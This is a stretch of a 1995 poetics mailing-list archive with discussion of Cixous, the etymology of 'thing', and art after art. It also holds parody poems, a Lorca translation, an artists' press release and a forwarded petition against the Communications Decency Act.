I think it's precisely this fact that indicates that cixous is not essentializing sexual difference; she makes very sure to say the "feminine" and not the "female"; both men and women incorporate all of those qualities called "masculine" and all of those called "feminine", but in different "mixtures", I'll call it on the fly here. It's only through various processes of cultural history that the masculine has come to seem so exclusive and "desirable" in men only and the feminine for women only.

What is intriguing is this notion of writing "engendering" itself; not only that it situates itself along a sort of spectrum of gender, but that it can do so independently of the identity of the writer, and effectively so when the writer is able to abandon his/her identity to the writing.

By the way, I once saw Cixous and she mentioned Shakespeare and Genet as convincing writers of the feminine voice--& Shakey in the character of Cleopatra, no less!

Steve

↑ Index

460. **Jim Pangborn**
Re: The Etymology of Things
Tue 23 May 1995

Steve Carll <[redacted]> writes,

> *My _Dictionary of Word Origins_ says that "The ancestral meaning of *thing* is 'time': it goes back to a prehistoric Germanic *thingam, which was related to Gothic *theihs* 'time,' and may come ultimately from the Indo-European base *ten-* 'stretch' (source of English "tend", "tense", etc.) In Germanic it evolved semantically via 'appointed time' to 'judicial or legislative assembly.' This was the meaning it originally had in English..."*
>
> *So, while the word may be bound up with power and authority, the way power and authority bind up everything they come in contact with, it's also bound up with something that eludes power and authority: time, which is more fundamentally grounded.*
>
> *Steve*

The OED says pretty much the same as the above. The word comes into English, though, out of the mouths of kings saying "OK, here's what we have to sit down and discuss now." One of the earliest recorded instances is in _Beowulf_, just so. Perhaps, in the Old Scandinavian whence it derives, it signifies something more democratic. If so, I'd be glad to hear it. Who would know?

To be precise, wouldn't we have to say that the "time" that's cognate with this convocational "thing" means something more like what we mean when we say "appointment"? This was way before Heidegger, Augustine, or any of the other heroes of abstract thought who represent time as so "fundamentally grounded."

I don't want to exaggerate the importance of these word-origins. Time passes, regimes come and go, and the originary violences (if such they were) of our social order recede in importance beside our prospects for freedom and justice. My comments on "thing" were intended to lend another voice to an ongoing theme, though the point is as often forgotten as raised in the larger discussion here: our things, the very shapes of our attention, are haunted by authorities long dead and discredited. The implications of this are variously under discussion here, under several headings.

--Jim

↑ Index

461. **Edward Foster**
Re: Yo, Ed
Tue 23 May 1995

Williams
is
bor-
ing

↑ Index

462. **Jorge Guitart**
boundary between art and life
Tue 23 May 1995

quoting from an old poem

the boundary between art and life looks like a frame

↑ Index

463. **Carl Lynden Peters**
Re: next steps after art
Tue 23 May 1995

> *This is good thought here, but perhaps we need to somehow try to think outside received categories like poetry, art, science or religion. All these modes of enquiry have their own pre-conceived notions and filters. We just might need new ones.*
>
> *John*

john, hi: this may be an unfair question for anybody but can you expand on that. this is an important issue. one of the ways i've hit upon that challenges these modes and pre-conceived notions is through working within an interdisciplinary context. i see this as especially relevant in regards to my study here in the university. looking forward to further exchange on this topic

take care,
carl

↑ Index

464. **Carl Lynden Peters**
Re: next steps after art
Tue 23 May 1995

> *Could it be that we might discontinue making art as it is currently understood because we finally realize that its forms and modes of understanding can no longer express quite what we want to say?*
>
> *And what would we do then? Not an Art Strike. That's not what i mean it all. And is simply living it without producing documents or relics somehow going to be enough?*
>
> *We need a new idea of a supple communication fine-grained enough to accommodate a wide range of new approaches. We need to somehow re-think the entire enterprise. Art has become mere decoration.*
>
> *John*

...or go underground
c

↑ Index

465. **Carl Lynden Peters**
Re: next steps after art
Tue 23 May 1995

---

hi, john,

point well taken in regards to the erasing vs blurring the boundaries distinction. once again, if i can refer to burnham's essay and offer a loose paraphrase, art, at least on the psychic level, allows a culture to remain in contact with its boundaries facing nature. that's always struck me as such an important definition, for lack of a better term, of art and the purpose underlying art. on one level, tho, i think there does exist that erasing of distinctions between art and life in that there is a certain state, call it a frame of mind, that you come to and there is no more art, there's no need for it, it ceases to exist. maybe that relates to transcendence, which is something i take very seriously

but then, on the other hand, there is the "work" of art. my notion of the _work_ of art is that it's an indexical sign -- crudely, indexical of something sacred

i disagree with respect to your notion of the failure of art to inspire change or a realignment of consciousness. maybe that's just over-wrought idealism on my part (hell, there's a phrase!), but it's something i've taken a lot of heat over...

...i think you hit on the essence of art, tho: "I may mean something like realizing the complexity and interwoven unity in multiplicity of everything, but that sounds suspiciously academic and even religious in overtone..."

right on!, i think; and what's wrong with sounding those over-tones: suspiciously academic and even religious. i'm convinced that that's how i'm perceived. maybe not the religious part, but for sure the other. i presented a paper on bpNichol's poetics in april in which i attempted to work within his texts of bliss by inventing and writing my own text of bliss, and the result was performance-like, altho it wasn't no performance but the real thing. suffice it to say it didnt go over very well, altho, in the final analysis, i did my job. and it signifies to me that i might be on to something here, but that's another discussion altogether

'to go beyond the point where it is even neces-
/sary to think in terms of words'

--bpNichol (_TM bk 4_)

take care,
carl

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466. **Don Cheney**
The concrete poem
Tue 23 May 1995

This is a (partial) transcription of a Home De(s)pot radio commercial. This commercial seems more serious about its poetry tie-in than a previous h.d. (another poetry tie-in?) commercial.

[clears throat]

[microphone feedback sound]

"The Concrete Poem by A.C. Benningfield

Concrete by the yard
Concrete by the foot
I mix it, I mix it
I mix it, man [sound of page being turned]

When my forms hold tight
And the mortar's just right
I mix it, I mix it,
I mix it, man"

[Home Despot blurb -- jazz style bass in the background -- the textual tie-in to poetry being "passion"(?): "at h.d. we're as passionate as you are about the building materials you use" wow! another tie-in ("building materials")! wouldn't Shklovsky have loved (or have written!) that!]

"Concrete so clean
Concrete so cool [microphone feedback sound]
I mix it [microphone feedback sound]
Man, can I mix it"

(more home despot blurb)

Don Cheney
[redacted]

↑ Index

467. **George Bowering**
Re: Yo, Ed
Tue 23 May 1995

The bored
are
boring

↑ Index

468. **Lindz Williamson**
bored
Tue 23 May 1995

> The bored
> are
> boring
because
they should be
bowering,
Oops
I mean
writing.

↑ Index

469. **Jeffrey Timmons**
Re: Yo, Ed
Tue 23 May 1995

On Tue, 23 May 1995, Edward Foster wrote:

> *Williams*
> *is*
> *bor-*
> *ing*

Seriously?

And so is life....

Jeffrey Timmons

↑ Index

470. **cris cheek**
Re: desire / and the 39 steps
Tue 23 May 1995

This hour of pungent lilacs comes my friend - the hour of honeysuckle bees and peonies. Silver and violet clouds thread jags from 'core' disguise. A lockbird slang wounds blur gathering dark. Time flinging its things onto that copper hook.

↑ Index

471. **Ryan Knighton**
Re: Yo, Ed
Tue 23 May 1995

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pro
fun
ditty

↑ Index

472. **Patrick Phillips**
Re: The Etymology of Things -> Instances
Tue 23 May 1995

Jim and Steve's discussion of power and "things" judicial has another parallel found recently in an essay I've been reading by Castoriadis in "Thesis Eleven" 24 "The State of the Subject Today." Just that "time," "thing" draw an etymological/use similarity in Castoriadis' use of "instances." In referance to Freud's use of "instanz" as conflicts between opposing instances, or the

multiplicity of "phychical persons." Instanz as Freud meant it carries a juridical flavor and "instance" in French can have this same "authoritative" connotation. But we can use time and thing to get at the meaning of instance. In this (an) instance, some "thing" takes "place" at a particular "time" - instance is a situation.

What concerns me is not that these words have a juridical, or power-based etymology - this is not really surprising but that the "instance" of "things" (human) act at all "times" within this "juridico-administrative space." That we "take our place" in this space along side/within words as a mode of being points not to an etymological root, as Jim rightly points out, but out to a connotative function of the state in word-use. Lest we forget that speaking is a "state"-ment.

This is what I've always thought R. Grenier meant by I HATE SPEECH. That the "multiplicity of phychic persons" taken in/taking up a poetic critique of "state" as "juridico-administrative" enterprise can intervene in this juridical (be-it democratic) process of "state"-ment. That there is a conflict between opposing instances (the juridical and the "liberatory") of the word, of "statement" and that the highlighting of this conflict is a process of intervention.

As an aside, I like Ron's update of "addition" to "intervention" in -

> *The perfection of forms as interventions in nature.*

I'm not sure that even "form" is permited here though Ron. You have said something like "Perhaps poetry is not a form at all but an activity."

So, in this instance, we act.

This haphazardly said, someone really must do a clear analysis of the successes and failures of this "project" of intervention.

Pat Phillips

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473. **John Byrum**
Re: next steps after art
Tue 23 May 1995

Carl,

thanks for your perceptive points on "the next evolution of art".

your bpNichol quote "to go beyond the point where it is necessary even to think in terms of words" is one aspect of my notion of the next evolution. words (language) oversimplify, place thick outlines (cuts) around pieces/parts of our

fluid thoughts & perceptions. They straitjacket our imagination of the possible as much as they propell it.

And, I don't think silence is the only alternative to words.

John

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474. **John Byrum**
Re: next steps after art
Tue 23 May 1995

Carl,

I agree that attempting to think outside categories may be THE issue currently. Interdisciplinary studies linking formerly isolated areas of inquiry has been an invaluable method with many bright results (such as chaos theory in physics). However, at this point i'm trying to imagine jettisoning the notion of categories, trying to forget most things, opening the mind amid an emptiness, and simply being in that awhile to see what floats up. I have a friend (a visual artist) who has been letting go of language in various ways (for instance by not speaking for days at a time and just thinking) for quite awhile now and then returning. Lately, she sits in her studio and thinks as she does things in her sketchbooks which she insists are not drawings. (Though they look like what you or I would call drawing) And she says she doesn't remember most of what she does or thinks about during these hours. She and I have developed a distinction between "thought" (which is conscious, ego-directed) and "thinking" which is unconscious, multi-dimensional, the tips of which surface as "thought". This might be something like what I mean. But there aren't words for it (or may not be or at least i haven't found them yet). Best,

John

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475. **Gary Sullivan**
To John Byrum, re: Mere Decoration, etc.
Tue 23 May 1995

Dear John:

Can't resist this re: your "Art has become mere decoration":

> WHITE LILY
>
> Hungry and humming in the world's weeds
> I staggered aimless into focus & generally
> avoided work. My life was bearable

tho I never slept, grew incoherent
with the excellence of art, which gave me

peace. I could have worked. Why didn't I work?
Instead, at 19, I found savage friends
a tribe, who clothed me & gave me money
to be serious, my obscurity
part of the atmosphere. "I'm beating my brains out"

"I'm stuck." We fucked for hours after the funeral
slept in hammocks, woke to drink coffee
& read. Osamu Dazai's NO LONGER HUMAN
and the complete works of Philip K. Dick.
We went in on THE WRITER'S MARKET

treated everyone as audience, our lives
an exiguous silver flood of action seen at a distance
went to, & abandoned, the university
& did what we did outside. We learned
to tell lies, to tread dangerously on everything

that moved. We insisted on ourselves w/smoke
in the blood, redeemed all bogus weight
for cruder pleasure. I wish that today was yesterday.
Today, when all tendency is "mere decoration"
I'm unpopular everywhere because they expect nothing

either way, accept me or reject me, not this.

* * *

I actually didn't take that "mere decoration" from your post, but from a statement Ron Silliman made in Lally's _None of the Above_ anthology of 1976. (There's a great photo of Ron in there, too -- long hair, 'burns, "blues" sunglasses, outstanding (what?) Panama hat? I think? (Ron?) -- 'stash, OUTRAGEOUS stripes goin' on in the pattern of his shirt, cup of coffee (I think?) gripped tightly (will he throw it at the photographer?), posture all aslouch, but an *energetic* slouch -- to put it in plain English: the dude is lookin' like Charles Williford's younger, more intense brother.)

Anyway, that word "evaginate" again: Well, you know who I've always thought fits this description? Bern Porter. He's still alive, as far as I know, still one of the most active mail artists in the world (art created w/the understanding it'll be received, experienced & then likely dumped in the wastecan -- tho I'm sure there's a few well-meaning U's of Anyplaces that're archiving the stuff). The guy gave up a fairly stable life as a nuclear physicist (I'm sure that's not the technical name for what he did), published books for a while (including Robert

Duncan's first), wrote the Sci-Art Manifesto, made plans for works of art that've never been created, put together a number of books of founds that very few people have probably ever seen (tho they've got an outstanding number of 'em at Woodland Pattern), opens his FRONT LAWN every summer to -- what? -- spontaneous art activity (or "non" activity?) of some kind, and has managed to never have been taken seriously or spoken of by any academic -- at least, not that I've seen (please don't ruin my day by telling me someone's doing their thesis on him), & when you mention his name to people, your response is typically a perfect blank stare. (Tho, I've been surprised on more than one occassion.)

I don't know if he fits your description, John. But if anyone's managed to "turn 'the general idea or value of "art"' inside out so that its former inside becomes the whole world of our experience, he's the most likely candidate I can think of off the top of my head for anyone who's ever come close. Well, him and Jack Smith, what I'm learning (or deceiving myself into believing I'm learning, I should say) about him.

Actually, there are undoubtedly hundreds of others, thousands, perhaps, sprinkled all over the world.

But we're fetishists, John. The artproduct -- we can't get around it -- whether it's the artpiece, or the account.

Yours,

Gary

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476. **Steve Carll**

Re: The Etymology of Things

Wed 24 May 1995

Jim Pangborn writes,

> *our things, the very shapes of our attention, are haunted by authorities long dead and discredited.*

--which is beautifully put and certainly something (oops!) I feel as well. I guess what I was reacting to was a sense that words, which must inevitably enter a historical culture that includes power and authority, cannot also open (or at least point) out of power structures. I don't see it that way, although it's certainly not as easy as "language always transcends power-structures." But your other point--that it's tricky to go mucking about with word-meanings from thousands of years ago--is also well-taken.

Steve

↑ Index

477. **Michael Boughn**
Re: Really real Martha
Wed 24 May 1995

No, George, you haven't quite got it yet. *Martha Stewart Living*, as her magazine is called, is a major international publication. I'm looking at the November 1994 issue (where the turkey recipe came from). Defending her "Calendar" ("Martha's Calendar" it's called) she writes in "A Letter from Martha": "I know that the calendar is full, but it is full so that it can coax all of us into balancing our lives so that there will be time to plant daffodils, cook a special meal, or collect old-fashioned Christmas ornaments. For me, 'living' is filling my day with activity that is meaningful, productive, and interesting. I truly believe that organization, deep-seated curiosity, and attention to what's really important will give each of us fuller and more special lives."

Philosophy for the nineties.

Also included are tips on winterizing the garden, canning brandied pears, grouting and caulking, and a guide to her TV show.

Let me know if you're interested in the turkey recipe.

See you next week, I hope.

Mike

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478. **Jorge Guitart**
art after art
Wed 24 May 1995

Art after art will sacralize all ***truly artistic*** After Art projects. It has happened before and it will happpen again. Trust me. (I have a Master's degree in Science and credits enough for another in Fine Arts.)

↑ Index

479. **Jim Pangborn**
Re: The Etymology of Things
Wed 24 May 1995

Thanks, Steve, for showing me how my first post on this topic seemed much more pessimistic than I actually feel. Your response points up a problem in academic discourse that troubles me greatly, tho. I write of how a certain term is or seems "spooky" or "haunted," and people naturally take it as a call to

abandon the use of that term. The thing is, "thing" is indispensible. Its troubling political dimension (I won't call it baggage, since that term paints a false picture of how words work) will not go away, but neither does it necessarily always dominate. Power and hierarchy are ubiquitous, but they certainly aren't every"thing"! I would respectfully ask that poets and other artists resolutely confront the things that bid to needlessly dominate us (and by opposing end them? heh heh . . . good luck!) and also that they (we) resolutely believe, even if utopically, in freedom. Of course, I can't tell y'all what to do. But yes, folks, this *is* about poetics.

Steve Carll writes, beginning by quoting me:

> *our things, the very shapes of our attention, are haunted by authorities long dead and discredited.*
>
> *--which is beautifully put and certainly something (oops!) I feel as well. I guess what I was reacting to was a sense that words, which must inevitably enter a historical culture that includes power and authority, cannot also open (or at least point) out of power structures. I don't see it that way, although it's certainly not as easy as "language always transcends power-structures." But your other point--that it's tricky to go mucking about with word-meanings from thousands of years ago--is also well-taken.*
>
> *Steve*

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480. **Edward Foster**
Re: Yo, Ed
Wed 24 May 1995

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re:
ing
see
Spicer

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481. **Edward Foster**
Re: Yo, Ed
Wed 24 May 1995

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boring
something
new,
George?

↑ Index

482. **I.LIGHTMAN**
Re: mail by the megabyte?
Wed 24 May 1995

Great message, Dodie!

↑ Index

483. **I.LIGHTMAN**
some Lorca
Wed 24 May 1995

Hallo all, I thought I'd post the opening speech from a translation I've been commissioned to write (for no fee!), from Lorca's first play, Bad Dream of the Butterflies (cos I'm quite proud of it, and it took about a week, maybe forty hours, of solid focussed concentration and work):

ESTEEMED guests: the show you've come to see's minor and unsettling - sadly someone grasps for the full moon, and winds up his hands full of shards from a broken heart.

LOVE perplexes and shocks men all the time. Love is set tonight in a closeted orchard, where long ago lived bugs - who we show nibbling their way through peaceable and settled lives. The bugs contentedly existed, only to suckle on dew and breed awe of their gods into their young. They loved, and believed in, a natural love only concerned with HOW to love. Like grandfather to father, father preached it to son, like an ancient pure pearl the first in the family line got handed by God. Like the LOVE that relaxes and takes the POLLEN all the time from the unstinting flowers to come into the air, so natural love accepted their surrender in the sweet fumes of grass.

BUT there was one bug one day who grasped at a radical love, who had an intuition to rework things for himself. Working perhaps through poetry a literature student of the few who ever go for a walk forgetfully left in a field, the bug earnestly swallowed lines like "I want the one I can't have, and it's driving me mad...." Oh, how I entreat all my esteemed guests not to litter the countryside with their purchases: if they find out the sincere who have not become deadened like us, our overdone cliches can actually do them over.... Words that ask who MADE the God who made the heavens can DESOLATE those who think with the guru absent.

COME useless words, register a sincere life thus was lost, love was DEATH.

THE ENDLESS portering of the scythe to us by Mr Skull and Bones! It is a primal image our holy books have copywrit, moral: the caress that makes the head spin secretly turns the handle on Death's Door; Cupid's got his feet up in

the spacious cockpit of the Death's Head; roses, kisses and pining clad a blade to finish you off.

****

A VETERAN Shakesperean fairy who escaped to the living wood pulp of a real heath, and still flutters about with his cane, is the one who gave Mr Lorca the plot, one dusky equinox when the herd were all indoors in bed. So did our spooky show come to be rendered! WE'VE nearly got to it, but first I ask of you all the SAME favour that the heath-sprite asked Mr Lorca that dusky equinox when the herd were all indoors in bed: really explore where you STAND, on these refined utopian bugs swanning about in grass. Who ARE Europeans, with all our drinking "problems" and "human nature", to recoil from these tranquilly closeted and merry vermin taking in the sun in the morning? What DRIVES you so to be rid of these of nature's simpletons? WHO CANNOT SEARCHINGLY love gravel and vermin cannot feel God's reign!

The veteran fairy said these words especially to the poet: "Coming is the flora and fauna's reign. Men blunder about God's creation but the fauna and flora stay always in God's light. Lorca, tell these men LOVE is born in sameness of PASSION in all the walks of life. Sameness in what ripples the flower in the air and the big star. Sameness in the words that spout cool in a water fountain and echo in the same key in the big sea. Lorca, make them humble, equals we all are in Nature." And no more would the veteran say.

SO, ON with the show! STRUGGLE with your reflex tittering at these bugs, these seeming children, seeming unmanly. And if tonight's at all instructive, go to the heath to give your thanks: to the veteran fairy with the cane, tranquilly taking in the dusk, while the herd are all indoors in bed.

Federico Garcia Lorca

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484. Edward Foster

Re: desire / and the 39 steps

Wed 24 May 1995

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pungent in clear water, grasp the root, velvet, sweet. all words they tell us to forget, and so transform oneself, empirical in wit, and dry. the real pearl moves from root to tongue, as fingers (dark) releave the core

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485. **George Bowering**
Re: Really real Martha
Wed 24 May 1995

Jeez, Mike, how did anyone in NY etc know how to do anything around the house before this Martha person showed them? No wonder my place is a mess, terrible garden, lousy meals, etc. I have been using Paul Blackburn as a guide.

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486. **George Bowering**
Re: Yo, Ed
Wed 24 May 1995

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see
zoo
cow
ski

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487. **Ryan Knighton**
Re: Yo, Ed
Wed 24 May 1995

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simply
this evening
stretched canvas
o'er tired eyes yawing to focus

↑ Index

488. **Marshall H. Reese**
republicans threaten artists
Wed 24 May 1995

Ligorano/Reese
67 Devoe Street, Bklyn, NY 11211

For Immediate Release Contact: Nora Ligorano/Marshall Reese
fax/phone [redacted]

Republican National Committee threatens artists over use of RContract with AmericaS

Did you know that the Contract with America is a registered trademark? ThatUs right. In yet another sign that the rights of free debate and public discussion are under attack, the Republican National Committee has threatened artists

Nora Ligorano and Marshall Reese over the use of the name RContract with AmericaS in their latest artwork.

Last month the artists presented their new limited edition of RContract with AmericaS underwear in an installation at the Center for Book Arts in New York City. The new art piece follows the artistsU successful edition of the Bible Belt. It continues their fascination with producing wearable art that addresses political topics, as well as their concerns about the packaging and marketing of political ideas.

Their new limited edition artwork consists of 120 signed and numbered pairs of mens and womens briefs. The artists have recontextualized the RepublicansU Contract with America by screen printing it on the seats of mens and womens cotton underwear. The face of Newt Gingrich adorns the crotch. The Associated Press reported on the art work after the artists sent pairs of the underwear to President Clinton, Senate Majority Leader Bob Dole, Speaker of the House Newt Gingrich and other elected officials in Washington, D.C.

Allison Fahrenkopf Brigati, the Republican National Committee Associate Chief Counsel, wrote the artists Rto discontinue [their] unauthorized use of the Contract with America logo and text immediately.S

The ACLU Arts Censorship Project and cooperating attorney Elizabeth McNamara of the law firm Lankenau, Kovner and Kurtz have written to Ms. Brigati that Rthe art project is a classic example of political satire. Each limited edition work is accompanied by a statement explaining the message intended by its creators. The combined impression is clearly humorous, and obviously meant to parody the Contract with America. Such a limited use on what is not a commercial product but rather an art work carrying the strong political speech message of its creators, we believe, constitutes protected political expression.S

For more information, contact
Ligorano/Reese by phone or fax at
[redacted].
[redacted]

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489. **Mark Wallace**

Poetic Briefs is not dead

Wed 24 May 1995

For all those who have expressed confusion or concern as to what is happening with Poetic Briefs:

PB has been put on temporary hold due to financial reasons, but expects to be in operation again as soon as possible. Do not assume your subscription has run out, or leap to other dire conclusions.

Mark Wallace

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490. Don Cheney
radio commercials
Wed 24 May 1995

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there's another commercial on the radio here in san diego
and i don't know what it is a commercial for but every time
i hear it all i really hear is:

"...more on sale..."

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491. Alan Sondheim
Re: Yo, Ed
Wed 24 May 1995

[7m [4m [5m pure
[7m [4m [5m intru-
[1m sion/scion
[0m

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492. Hank Lazer
Re: yo, ed, boring?
Wed 24 May 1995

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so mush descends
upon

a read wheel
barrow

glazed with brain
water

beside the fried
chicken?

↑ Index

493. **cris cheek**
crisis
Wed 24 May 1995

I'm forwarding some selections from posts on Ht-Lit that might be of interest to readers here in relation to recent discussion under this subject: -

I believe it was Stuart Moulthrop who first observed, in his introduction to J. Yellowlees Douglas' I HAVE SAID NOTHING, that there seem to be an exceptional number of car crashes and dismembered bodies in serious hypertext fiction. Collisions feature prominently in:

Michael Joyce, AFTERNOON
J. Y. Douglas, I HAVE SAID NOTHING
Monica Moran, AMBULANCE (Electronic Hollywood)
Michael van Mantgem, COMPLETING THE CIRCLE (Eastgate, in press)

and less prominently in

John McDaid, UNCLE BUDDY'S PHANTOM FUNHOUSE

Dismembered bodies appear in:

J. Y. Douglas, I HAVE SAID NOTHING
Monica Moran, AMBULANCE
Kathryn Cramer, IN SMALL AND LARGE PIECES
Shelley Jackson THE PATCHWORK GIRL (Eastgate, in press)

and the threat of dismemberment, or at least puncture, pervades

Mary-kim Arnold, LUST.

Moulthrop's VICTORY GARDEN includes a car chase (suggesting crash) and explosion (suggesting dismemberment).

Note that neither the authors nor the audience of these works include the adolescent boys whose preoccupation with violence is proverbial; I think it safe to assert that these works are totally unlike Mortal Kombat and its kin.

Why *are* there so many crashes and body parts?

Moulthrop, in his introductory essay to I HAVE SAID NOTHING, suggests that the crash enacts the hypertextual breaking of the line. Dismemberment, too, might by extension reflect the dismemberment of the unitary text through which a richer hypertext may emerge.

Mary-kim Arnold, in the course of a really remarkable reading and lecture at the "Serious Hypertext" symposium in Boston last weekend, suggested that the

violence of these images reflects the effort required by women to wrestthe tools of writing from (predominantly male) control and bend them to their purposes.

Kathryn Cramer, in an earlier "Serious Hypertext" meeting in Ann Arbor, had noted instead the importance of violent expression in writing for and by women, in horror and literary fiction and well as in literary hypertext.

If I understand Diane Greco's viewpoint correctly in her forthcoming hypertext, CYBORG: ENGINEERING THE BODY ELECTRIC (also in press), the theme of dismemberment arises naturally from the female construction of the body, and from the cyborg's resistance to the masculinization of technology.

In an offhand, improvised remark during a recent talk at Gettysburg, I myself ascribed crashes and dismemberments alike to the hypertext writer's desire to disrupt surfers, browsers and grazers, to grab the reader and shake her and get her to STOP and PAY ATTENTION.

(These summaries to terrible violence to the arguments advanced by their original authors, and I do urge readers to refer to their writings and not to rely on my flawed readers).

Why *are* there so many crashes and so much dismemberment?

(Mark Bernstein of Eastgate)

While I can understand women feeling that it's reflective of their experience, I think we all, male and female, are experiencing and metaphorising our own losses in this move to digital space. Hypermedia is a very disembodied communication. And we've lost our books, which were physical experiences, extensions of our bodies as well as our minds. Perhaps we are representing, even mourning our past.

And we are also perhaps trying to free the reader from the old ideation patterns: crash! and cut off your expectations. Crash!: crisis, and things don't have to act according to normal. Time shifts. Perception shifts. Awareness expands. Crisis may be more easily and accurately portrayed in hypertext because the experience (which most of us have had) of a crash/crisis is multilinear. It does make sense to evoke this in the reader, although it seems clearly in danger of becoming a cliche, doesn't it.

(Ellen Chait)

↑ Index

494. **Ryan Knighton**
Re: Yo, Ed
Wed 24 May 1995

---

no,n no, george: it's

sea
zoo
cough
ski

> *see*
> *zoo*
> *cow*
> *ski*

↑ Index

495. **Wystan Curnow**
Re: Yo, Ed
Wed 24 May 1995

Dear Ryan,
earth's
the diff-
erence

Wystan

↑ Index

496. **Wystan Curnow**
Re: Yo, Ed
Wed 24 May 1995

Dear george,
is that
LN
see
zoo

Yst
an

↑ Index

497. **M. Magoolaghan**
Re: Poetic Briefs is not dead
Wed 24 May 1995

Mark,

Should I take it as symptomatic er something that your notice re: Poetic Briefs showed up immediately after a posting about the "new limited edition of Contract with America underwear"? Is THAT where you're getting your funding?

Just wondering.

MM

On Wed, 24 May 1995, Mark Wallace wrote:

> *For all those who have expressed confusion or concern as to what is happening with Poetic Briefs:*
>
> *PB has been put on temporary hold due to financial reasons, but expects to be in operation again as soon as possible. Do not assume your subscription has run out, or leap to other dire conclusions.*
>
> *Mark Wallace*

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Michael Magoolaghan ! untraceable wandering/
University of Washington ! the meaning of knowing
Dept. of English !
Box 354330 ! Susan Howe, "Articulation of
Seattle, WA 98l95-4330 ! Sound Forms in Time"
[redacted] !
  !
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~~~~~~~~~~~~~~
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498. **Robert Drake**
legislative alert (forward)
Wed 24 May 1995

Subject: legislative alert: Telecommunications Decency Act

CAMPAIGN TO STOP THE EXON/GORTON COMMUNICATIONS DECENCY ACT

Update: -Bill is on the Senate floor
-Please act to help Leahy stop the Exon censorship bill

PETITION TO HELP SENATOR LEAHY STOP THE UNCONSTITUTIONAL COMMUNICATIONS DECENCY ACT
May 19, 1995

PLEASE WIDELY REDISTRIBUTE THIS DOCUMENT WITH THIS BANNER INTACT
REDISTRIBUTE ONLY UNTIL June 9, 1995
REPRODUCE THIS ALERT ONLY IN RELEVANT FORUMS

Distributed by the Voters Telecommunications Watch ([redacted])

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Another Petition?
What Is Sen. Leahy Proposing?
How To Sign The Petition
The Petition Statement
Signing the petition from Fidonet or FTN systems
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List Of Participating Organizations

--- THE TIME IS NOW

HELP SENATOR LEAHY STOP THE EXON COMMUNICATIONS DECENCY ACT

The Senate is expected to on vote the Communications Decency Act (CDA, a.k.a. the Exon Bill) within the next three weeks.

The Communications Decency Act, in its current form, would severely restrict your rights to freedom of speech and freedom of expression online, and represents a grave threat to the very nature and existence of the Internet as we know it today. Without your help now, the Communications Decency Act will likely pass and the net may never be the same again.

Although the CDA has been revised to limit the liability of online service providers, it would still criminalize the transmission of any content deemed "obscene, lewd, lacivious, filthy, or indecent," including the private communications between consenting adults. Even worse, some conservative pro-censorship groups are working to amend the CDA to make it even more restrictive.

Currently, Senator Exon is negotiating with pro-censorship groups and commercial entities that would be affected by the CDA. The voices of Internet

users must be heard now. We need to demonstrate that we are a political force to be reckoned with.

In an effort to preserve your rights in cyberspace, Senator Patrick Leahy (D-VT) has introduced the only legislative alternative to the Communications Decency Act. Senator Leahy is willing to offer his bill as a substitute for the CDA, but needs your support behind his efforts.

Senator Leahy's legislation would commission a study to examine the complex issues involved in protecting children from controversial content while preserving the First Amendment, the privacy rights of users, and the free flow of information in cyberspace.

---------- ANOTHER PETITION?

Yes. With a strong showing of support from the net.community, Senator Leahy can offer his bill as a substitute for the Communications Decency Act when the Senate votes on the issue later this month. Senator Leahy needs and wants to demonstrate to his colleagues in the Senate that the net.community is behind him in his efforts. We must rise to the task and demonstrate that we will not sit idly by as our rights are threatened.

Senator Leahy, a strong civil liberties advocate, has been the Senate's most vocal critic of the Exon/Gorton Communications Decency Act, and has taken a leading role in defending the rights and civil liberties of Internet users. Senator Leahy has taken a great political risk in representing the interests of Internet users on Capitol Hill. The time has come for us to show our appreciation and our support for his efforts.

The previous petition against the Communications Decency Act generated over 108,000 signatures, and was instrumental in Senator Leahy's decision to offer his alternative As the Senate moves to vote on the CDA, we must act quickly to ensure that our collective voice continues to be heard.

---------- WHAT IS LEAHY PROPOSING?

Senator Leahy's bill, S. 714, would direct the Department of Justice and the Department of Commerce to commence a 5 month study to examine:

* Current law enforcement authority to prosecute the distribution of pornography over computer networks;

* Whether any additional law or law enforcement resources are necessary;

* The availability of technological capabilities, consistent with the First Amendment and the free flow of information in Cyberspace, to protect children from accessing controversial commercial and non- commercial content;

* Ways to promote the development and deployment of such technologies.

After conducting the study, the Justice Department must report to Congress on its findings, and, if necessary, recommend changes in current law.

Leahy's bill represents the only substantive legislative alternative to the Communications Decency Act, and will buy important time to have a detailed and rational discussion about the issues involved in protecting children from controversial content, and avoid the rush to censorship which is occurring now on the Senate Floor.

Without a strong show of support for Leahy's bill, the Communications Decency Act is very likely to pass.

---------- WHAT CAN I DO?

Please Sign the petition in support of Senator Leahy's alternative. There are two ways to sign:

1. World Wide Web:

URL:http://www.cdt.org/petition.html

Please follow all instructions carefully. Please also put a link to this page on your homepage.

2. email:

send email to [redacted].

Please provide the following information EXACTLY AS SHOWN. INCORRECT SUBMISSIONS CANNOT NOT BE COUNTED!

Be sure that you make a carriage return at the end of each line

Your Name
Your email address
Are you a US Citizen (yes or no) (** IF NO, skip to last line)
Your Street Address (** USE ONLY ONE LINE)
Your City
Your State
Your Zip Code (**VERY IMPORTANT)
Country

PRIVACY POLICY: Information collected during this campaign will not be used for any purpose other than delivering a list of signers to Congress and compiling counts of signers from particular states and Congressional districts. It will not be reused, sold, rented, loaned, or available for use for any other purpose. All records will be destroyed immediately upon completion of this project.

--- sample email submission ---

To: [redacted]
From: [redacted]
Subject: signed

Every Body
[redacted]
YES
1111 State Street, Apt. 31 B
Any Town
CA
94320
USA

--- sample email submission ---

Multiple signatures will not be counted, so please only sign once.

---------- THE PETITION STATEMENT

We the undersigned users of the Internet are strongly opposed to the "Communications Decency Act" (Title IV of S. 652), which is currently pending before the Senate. This legislation will severely restrict our rights to freedom of speech and privacy guaranteed under the constitution.

Based on our Nation's longstanding history of protecting freedom of speech, we believe that the Federal Government should have no role in regulating the content of constitutionally protected speech on the Internet.

We urge the Senate to halt consideration of the Communications Decency Act and consider in its place S. 714, the "Child Protection, User Empowerment, and Free Expression In Interactive Media Study Bill", an alternative approach offered by Senator Patrick Leahy (D-VT).

Signed:

---------- SIGNING THE PETITION FROM FIDONET OR FTN SYSTEMS

To sign the petition from FidoNet or other FTN systems, create a netmail message to your local UUCP host. Search the nodelist for the GUUCP flag, and use the address of that system:

To: UUCP, [GUUCP system's address here. "To:" name MUST be set to UUCP]
From: [you]
Subject: signed

To: [redacted]

Every Body
